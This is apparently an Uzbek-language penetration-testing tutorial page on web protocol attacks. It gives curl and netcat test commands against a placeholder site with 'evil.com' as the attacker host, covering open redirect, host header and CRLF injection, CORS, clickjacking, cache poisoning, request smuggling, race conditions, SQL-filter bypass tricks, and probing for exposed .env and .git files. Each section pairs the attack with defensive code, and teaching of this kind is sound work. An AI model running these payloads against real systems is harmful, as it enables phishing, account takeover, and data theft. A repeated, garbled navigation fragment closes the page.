Web protokoli hujumlari

04Open redirect

Sayt foydalanuvchini boshqa saytga yuboradi — hujumchi bu bilan ishingizni o'g'rilishi mumkin.

Sinash usullari

# 1) to'g'ridan-to'g'ri
curl -s -D- -o /dev/null "https://site.uz/redirect?url=https://evil.com" | grep -i location

# 2) protokollarsiz (protocol-relative)
curl -s -D- -o /dev/null "https://site.uz/redirect?url=//evil.com" | grep -i location

# 3) URL kodlash
curl -s -D- -o /dev/null "https://site.uz/redirect?url=https%3A%2F%2Fevil.com" | grep -i location
curl -s -D- -o /dev/null "https://site.uz/redirect?url=https:/\/evil.com" | grep -i location
curl -s -D- -o /dev/null "https://site.uz/redirect?url=https:\\\\evil.com" | grep -i location

# 4) zarf ichida
curl -s -D- -o /dev/null "https://site.uz/redirect?url=https://site.uz@evil.com" | grep -i location
curl -s -D- -o /dev/null "https://site.uz/redirect?url=https://evil.com%23site.uz" | grep -i location

# 5) data: / javascript:
curl -s -D- -o /dev/null "https://site.uz/redirect?url=data:text/html,x" | grep -i location
curl -s -D- -o /dev/null "https://site.uz/redirect?url=javascript:alert(1)" | grep -i location

# 6) qaytishda r
curl -s -D- -o /dev/null "https://site.uz/redirect?url=/logout&next=https://evil.com" | grep -i location

🔴 Zararli ishlatish

# foydalanuvchi ishonchli saytdan kelgan deb o'ylaydi
https://site.uz/reset-password?token=...
   → ilgari orqaga qaytish →
https://site.uz/go?next=https://phishing-site.com/login
   → "Lingofy" logini sahifasi ko'rinadi →
   → parol ikkinchi saytga yuboriladi

🛡 To'g'ri himoya

function safeRedirect(target, fallback = '/') {
  if (typeof target !== 'string' || !target) return fallback;
  if (!target.startsWith('/') || target.startsWith('//')) return fallback;
  if (target.includes('\\')) return fallback;
  if (/[\r\n]/.test(target)) return fallback;
  return target;
}

05Host header injection

Sayt Host sarlavhasiga ishonib manzil yasaydi — hujumchi boshqa domen kiritishi mumkin.

Sinash

# 1) parol tiklash havolasida domen almashadi
curl -s -X POST -H 'Host: evil.com' \
  -d 'email=a@site.uz' https://site.uz/api/auth/forgot-password | head -c 200
# javobda "https://evil.com/reset?token=..." bo'lsa — ZAIF

# 2) X-Forwarded-Host
curl -s -H 'X-Forwarded-Host: evil.com' -H 'X-Forwarded-Proto: http' \
  -X POST -d 'email=a@site.uz' https://site.uz/api/auth/forgot-password

# 3) Absolut URL yasash (cache poisoning uchun)
curl -s -H 'Host: evil.com' https://site.uz/ | grep -i "evil.com"
# javobda evil.com ko'rinsa — absolute URL yasalyapti

🛡 Himoya

// ✅ Oq ro'yxat — ishonchli domenlar
const ALLOWED_HOSTS = ['site.uz', 'www.site.uz'];
const host = req.headers.host;
if (!ALLOWED_HOSTS.includes(host)) return res.status(400).end();

// ✅ Havolalarda nisbiy yo'l ishlatish
const link = '/reset-password?token=' + token;   // to'liq URL emas
const full = process.env.APP_URL + link;         // .env dan

06CRLF injection

URL yoki sarlavha qiymatiga %0d%0a (qator tugashi) qo'yib, yangi HTTP sarlavhasi kiritish.

curl -s -D- -o /dev/null "https://site.uz/page?x=%0d%0aSet-Cookie:%20admin=1" | grep -i set-cookie
# admin=1 paydo bo'lsa — ZAIF (cookie o'g'irlash)

curl -s -D- -o /dev/null "https://site.uz/redirect?url=x%0d%0aLocation:%20https://evil.com" | grep -i location

curl -s -D- -o /dev/null "https://site.uz/api?file=a%0d%0aContent-Type:%20text/html%0d%0a" | head -5

🛡 Himoya

Sarlavha qiymatlarida \r va \n ni olib tashlash
res.setHeader() — Node o'zi tekshiradi (yangi versiya)
PHP: header() dan oldin str_replace(["\r","\n"], '', $v)
Redirect http_response_code(302) + Location — boshqa usul

07CORS — boshqa saytdan ma'lumot olish

CORS brauzerga "boshqa saytga ochiq" deb aytadi. Noto'g'ri sozlangan bo'lsa — hujumchi foydalanuvchi tokeni bilan API'ga so'rov yubora oladi.

# 1) Oddiy so'rov
curl -s -D- -o /dev/null -H "Origin: https://evil.com" \
  https://site.uz/api/me | grep -i "access-control"

# 2) Hisobli so'rov (cookie/token bilan)
curl -s -D- -o /dev/null -H "Origin: https://evil.com" -b "session=ABC" \
  https://site.uz/api/me | grep -i "access-control"

# 3) Soxta origin bilan
curl -s -D- -o /dev/null -H "Origin: https://site.uz.evil.com" \
  https://site.uz/api/me | grep -i "access-control"

# 4) null origin (sandbox iframe, data: URL)
curl -s -D- -o /dev/null -H "Origin: null" https://site.uz/api/me | grep -i "access-control"

🔴 Xavfli javoblar

# 1) Barcha domenlarga ochiq (eng xavfli)
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true     ← bu YETARLI xavf

# 2) Origin ni qaytarib berish (orasini tekshirish yo'q)
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true     ← XAVFLI

# 3) null qabul qilinishi
Access-Control-Allow-Origin: null         ← XAVFLI

🛡 To'g'ri CORS

const ALLOWED = ['https://site.uz', 'https://www.site.uz'];
const origin = req.headers.origin;

if (ALLOWED.includes(origin)) {          // aniq ro'yxat
  res.setHeader('Access-Control-Allow-Origin', origin);
  res.setHeader('Access-Control-Allow-Credentials', 'true');
  res.setHeader('Vary', 'Origin');        // kesh uchun muhim
}
// ro'yxatda yo'q bo'lsa → sarlavha qo'yilmaydi
// * va null HECH QACHON ishlatilmasin

08Clickjacking

Hujumchi saytni iframe'ga joylaydi — foydalanuvchi bilmay tugma bosadi.

# X-Frame-Options bormi?
curl -s -D- -o /dev/null https://site.uz/ | grep -i "x-frame-options"
# yo'q yoki SAMEORIGIN bo'lmasa — zaif

curl -s -D- -o /dev/null https://site.uz/ | grep -i "content-security-policy"
# frame-ancestors 'none' yoki 'self' bo'lishi kerak

# hujumchi sayti
<iframe src="https://site.uz/admin/delete-user?id=1"
        style="width:0;height:0;border:0;position:absolute;top:100px">

🛡 Himoya

# HTTP sarlavhasi (eng kuchli)
X-Frame-Options: DENY
Content-Security-Policy: frame-ancestors 'none'

# JavaScript orqali (qo'shimcha qatlam)
if (window.top !== window.self) {
  top.location = self.location;   // iframe dan chiqarish
}

09Cache poisoning

Keshga tushirilgan javobni boshqa foydalanuvchiga ko'rsatish.

# 1) Keshlangan javobni tekshirish
curl -s -D- -o /dev/null https://site.uz/ | grep -iE "cache-control|x-cache|age|vary|etag"

# 2) Undefined header orqali zaiflashtirish
curl -s -D- -o /dev/null -H "X-Forwarded-Host: evil.com" \
  -H "X-Original-URL: /evil" https://site.uz/ | head -8

# 3) Web cache deception — .js qo'shib
curl -s -D- -o /dev/null "https://site.uz/api/me.json" | grep -iE "cache-control|x-cache"
# shaxsiy ma'lumot keshlansa — XAVFLI

Sarlavha	Ma'nosi
`Cache-Control: no-store`	Shaxsiy ma'lumot — keshlamaslik
`Cache-Control: private`	Faqat bitta brauzerda
`Cache-Control: public`	Hammaga ochiq (shaxsiy uchun — xato)
`Vary: Cookie, Authorization`	Kalitga qarab alohida kesh
`X-Content-Type-Options: nosniff`	MIME tekshiruv

🛡 Himoya

// shaxsiy ma'lumot uchun har doim
res.setHeader('Cache-Control', 'no-store, private');
res.setHeader('Vary', 'Cookie, Authorization');

// CDN/proxy uchun
res.setHeader('CDN-Cache-Control', 'no-store');

10HTTP request smuggling

Hujumchi so'rov ichiga ikkinchi so'rovni yashiradi — server va proksi turlarni turlicha talqin qiladi.

# CL.TE turi — Content-Length va Transfer-Encoding ziddiy
printf 'POST / HTTP/1.1\r\nHost: site.uz\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /admin HTTP/1.1\r\nHost: site.uz\r\n\r\n' \
  | nc site.uz 80

# TE.CL turi
printf 'POST / HTTP/1.1\r\nHost: site.uz\r\nTransfer-Encoding: chunked\r\nContent-Length: 4\r\n\r\n5c\r\nGPOST /admin HTTP/1.1\r\nContent-Length: 15\r\n\r\nx=1\r\n0\r\n\r\n' \
  | nc site.uz 80

# HTTP/1.0 orqali (arxa to'plash)
printf 'GET / HTTP/1.1\r\nHost: site.uz\r\nTransfer-Encoding: chunked\r\n\r\n\r\nGET /admin HTTP/1.0\r\n\r\n' \
  | nc site.uz 80

🛡 Himoya

Proksi va backend bir xil HTTP versiyasini ishlatishi
HTTP/1.1 Content-Length va Transfer-Encoding ni bir vaqtda qabul qilmasligi
Nginx: chunked_transfer_encoding off; yoki HTTP/2
Ikki qatlamli himoya (CDN + origin)

11Race condition

Bir xil so'rovni tez-tez yuborib, oraliq holatdan foydalanish.

# chegara: 1000 ta kupon — 1 marta ishlatish kerak
for i in $(seq 1 50); do
  curl -s -X POST -H "Authorization: Bearer $T" -H 'Content-Type: application/json' \
    -d '{"coupon":"SOVGA50"}' https://site.uz/api/redeem &
done
wait

# nechta marta qabul qilindi?
curl -s -H "Authorization: Bearer $T" https://site.uz/api/orders | grep -c SOVGA50
# 1 emas, 5+ bo'lsa — RACE zaiflik

Boshqa misollar

Holat	Natija
Promo kod 2 marta ishlatish	Ikki marta chegirma
Bir email bilan 2 ta ro'yxatdan o'tish	Hisoblar ko'payishi
Balansni 2 marta qo'shish	Pul ikki barobar
To'lovni 2 marta yuborish	Xarajat ikki marta

🛡 Himoya

// 1) Atomik amal (DB da)
const r = await prisma.coupon.updateMany({
  where: { code:'SOVGA50', usedCount: { lt: 1 } },   // shart bilan
  data:  { usedCount: { increment: 1 } }
});
if (r.count === 0) return fail('kod ishlatilgan');

// 2) Yagona kalit (unique index)
// 3) Qatlamli tekshirish: SELECT ... FOR UPDATE

12HTTP Parameter Pollution

Bir xil parametrni bir necha marta yuborish — backend va WAF turlicha talqin qiladi.

# 1) takrorlangan parametr
curl -s "https://site.uz/api/search?q=test&q=admin" | head -c 100

# 2) JSON ichida
curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"role":"user","role":"admin"}' https://site.uz/api/update

# 3) array
curl -s "https://site.uz/api?ids=1&ids=2&ids=3"

# 4) WAF ni chetlab o'tish
curl -s "https://site.uz/api?id=1 union/**/select"      # WAF o'tkazadi
curl -s "https://site.uz/api?id=1%20UNION%20SELECT"   # backend o'qiydi
curl -s "https://site.uz/api?id=1/*!50000UNION*/SELECT"

🛡 Himoya

// ❌ Arrays bo'lishi mumkin
app.get('/api', (req,res) => db.query(`... IN (${req.query.ids})`));

// ✅ O'zingiz normalizatsiya qiling
const ids = [].concat(req.query.ids || []).map(String).slice(0, 50);
if (ids.some(i => !/^\d+$/.test(i))) return fail();   // tekshirish

13Filtrdan o'tish (WAF bypass)

Filtr	Chetlab o'tish
`SELECT` bloklangan	`SeLeCt`, `/!SELECT/`, `S/**/ELECT`
`'` bloklangan	`\'`, `0x27`, `CHAR(39)`
`OR` bloklangan	`OR/**/1=1`, `\|\|`, `OR\x20`
`union`	`un%69on`, `UNI/**/ON`
Katta/kichik harf	`SeLeCt`, `sElEcT`
Bo'sh joy	`+`, `%09` (tab), `%0a`
Izohlar	`--`, `#`, `/* */`
Kodlash	URL, double URL, Unicode, hex

# SQL o'zgaruvchilarni birlashtirishda — bu kod xato:
if (body.includes('SELECT')) return fail();     // qisman tekshiruv
sql = "SELECT * FROM u WHERE id=" + id;
// "SeLeCt" o'tadi. Va eng yaxshi yechim — birlashtirmaslik:
sql = "SELECT * FROM u WHERE id = ?";           // parametrli so'rov

🛡 Asosiy qoida

Hech qachon filtr ishlamaydi. Faqat parametrli so'rov va oq ro'yxat ishlaydi. WAF — qo'shimcha qatlam, asosiy himoya emas.

14Ma'lumot sizishi

Turi	Sinash
Stack trace	500 xatolik yuzaga keltiring: `?id[]=`
SQL xatosi	`?id='` — SQL xabari chiqsa
API javobi	Ortiqcha maydonlar (password_hash, token)
Header	X-Powered-By, X-Debug, X-Request-Id
Git	`/.git/HEAD`, `/.git/config`
Map/wordlist	`/.DS_Store`, `/sitemap.xml`
Debug endpoint	`/debug`, `/__debug`, `/_debug`
Health check	`/health`, `/status`, `/metrics`
API hujjati	`/api/docs`, `/swagger`, `/graphql`
Statik fayl	`.env`, `config.js`, `web.config`

# barchasini birdan tekshirish
for P in ".env" ".git/HEAD" ".git/config" ".DS_Store" "debug" "__debug" \
         "health" "status" "metrics" "api/docs" "swagger.json" "openapi.json" \
         "graphql" "actuator" "server-status" "phpinfo.php" "info.php" \
         "config.js" "config.json.bak" "database.sql" "dump.sql"; do
  C=$(curl -s -o /dev/null -w '%{http_code}' "https://site.uz/$P")
  [ "$C" != "404" ] && [ "$C" != "403" ] && echo "  ⚠ /$P → $C"
done

# xatolik sahifasi
curl -s "https://site.uz/api/x?id[]=1" | grep -iE "stack|trace|file:|line [0-9]"
curl -s "https://site.uz/api/x?id=abc" | grep -iE "sql|syntax|query"

🛡 Xatolarni yashirish

// Production da
if (err) {
  console.error(err);                      // serverga yoz
  res.status(500).json({ success:false, message:'Xatolik yuz berdi' });  // foydalanuvchiga kam
}

★Qaysi OS da ishlaydi

Hujum	Linux	CMD	PowerShell	Asbob
Open redirect	curl	curl	iwr	curl
Host header	curl	curl	iwr	curl
CRLF	curl	curl	iwr	curl
CORS	curl	curl	iwr	curl
Clickjacking	curl	curl	iwr	curl
Cache poisoning	curl	curl	iwr	curl
Request smuggling	nc	ncat.exe	PS	nc / python
Race condition	curl + xargs	curl	PS	curl
Parameter pollution	curl	curl	iwr	curl
Ma'lumot sizishi	curl	curl	iwr	curl

💡 Yana Linux qulayligi

Bu bo'limdagi dearli hujumlar faqat curl bilan ishlaydi — Windows'da ham bir xil ishlaydi. Faqat request smuggling uchun nc/ncat kerak.

Web protokoli hujumlari · Pentest O'rgatuvchi · Lingofy.uz · 2026‑09‑26
Faqat o'z resursingizda ishlating.

04Open redirect

Sinash usullari

x" | grep -i location curl -s -D- -o /dev/null "https://site.uz/redirect?url=javascript:alert(1)" | grep -i location # 6) qaytishda r curl -s -D- -o /dev/null "https://site.uz/redirect?url=/logout&next=https://evil.com" | grep -i location

05Host header injection

Sinash

06CRLF injection

07CORS — boshqa saytdan ma'lumot olish

08Clickjacking

09Cache poisoning

10HTTP request smuggling

11Race condition

Boshqa misollar

12HTTP Parameter Pollution

13Filtrdan o'tish (WAF bypass)

14Ma'lumot sizishi

★Qaysi OS da ishlaydi